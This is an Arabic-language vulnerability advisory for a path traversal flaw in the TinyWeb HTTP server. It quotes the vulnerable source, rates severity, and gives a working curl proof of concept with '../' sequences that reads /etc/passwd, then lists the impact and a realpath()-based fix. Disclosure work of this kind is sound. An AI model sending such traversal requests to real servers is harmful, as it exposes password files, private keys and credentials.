
نشرة أمنية: اجتياز المسار دون مصادقة يسمح بقراءة ملفات عشوائية (TinyWeb)
معرّف CVE المخصص: CVE-2026-67185
يبني TinyWeb مسار الملف المطلوب تقديمه بضم جذر الويب إلى URL الخاص بالطلب تمامًا كما يصل، دون أي تطبيع. يمكن لعميل بعيد لم يقم بالمصادقة أبدًا إدراج تسلسلات ../ في سطر الطلب وقراءة أي ملف تستطيع عملية الخادم فتحه، بما في ذلك الملفات خارج جذر الويب.
TnyWeb/0.0.80b3b5fd (2019-01-09)، حيث يُجمَّع المسار بهذه الطريقة أول مرة، حتى a381da2 (2023-11-22، الأحدث على master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:Nمهاجم بعيد غير مصادق عليه يمكنه الوصول إلى منفذ TCP الذي يستمع عليه الخادم (9090 في الإعدادات المُرفقة). لا يتطلب أي بيانات اعتماد، ولا أي تفاعل من المستخدم، ولا أي وصول مسبق. طلب واحد يكفي.
يبدأ HttpBuilder::buildResponse() من جذر الويب المُعدّ ويضيف حقل مسار URL مباشرةً من الطلب المُحلَّل:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
بين عملية الدمج في السطر 86 واستدعاء نظام الملفات في السطر 94 لا توجد إزالة لمقاطع النقاط (RFC 3986 القسم 5.2.4)، ولا تحويل مسار بواسطة realpath()، ولا تحقق من بقاء النتيجة داخل server.www.
كما أن محلل URL لا يصفّي .. أيضًا. في HttpParser::parseUrlChar() تقبل حالة المسار أي حرف يمر عبر isUrlChar()، و . حرف URL صالح، لذا يصل ../ إلى buildResponse() دون تغيير:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
بعدها يفتح HttpFile::setFile() أي مسار تم إنتاجه ويقدّمه، مستخدمًا صلاحيات عملية الخادم:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
ملاحظة: لا يقوم TinyWeb أبدًا بفك ترميز النسبة المئوية لمسار URL، لذلك %2e%2e%2f لا يعمل. الصيغة الحرفية ../ تعمل.
شغّل الخادم بالإعدادات المُرفقة (يستمع على المنفذ 9090، ويقدّم الملفات من جذر الويب المُعدّ).
أرسل طلبًا يتجاوز مساره جذر الويب إلى أعلى. يمنع خيار --path-as-is أداة curl من طي ../ قبل الإرسال:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK مع محتوى /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
يعتمد عدد مقاطع ../ المطلوبة على عمق جذر الويب. أي عدد يساوي عمق جذر الويب أو يزيد عنه يعمل، لأن النواة تتجاهل .. عند جذر نظام الملفات.
يمكن لأي عميل بعيد قراءة أي ملف يُسمح لعملية الخادم بفتحه. في الإعداد الافتراضي تعمل العُمال (workers) بصلاحيات الجذر root، لذا يشمل ذلك /etc/shadow، والمفاتيح الخاصة TLS، وملفات الإعدادات التي تحتوي بيانات اعتماد، وكود المصدر الخاص بالتطبيق ضمن جذر الويب.
قم بتحويل المسار المُدمج إلى صورته الأساسية باستخدام realpath() وارفض الطلب ما لم تكن النتيجة داخل جذر الويب المُعدّ. كدفاع في العمق، أزل مقاطع النقاط أثناء تحليل URL وفقًا لـ RFC 3986 القسم 5.2.4، وفك ترميز النسبة المئوية للمسار قبل تنفيذ هذا التطبيع.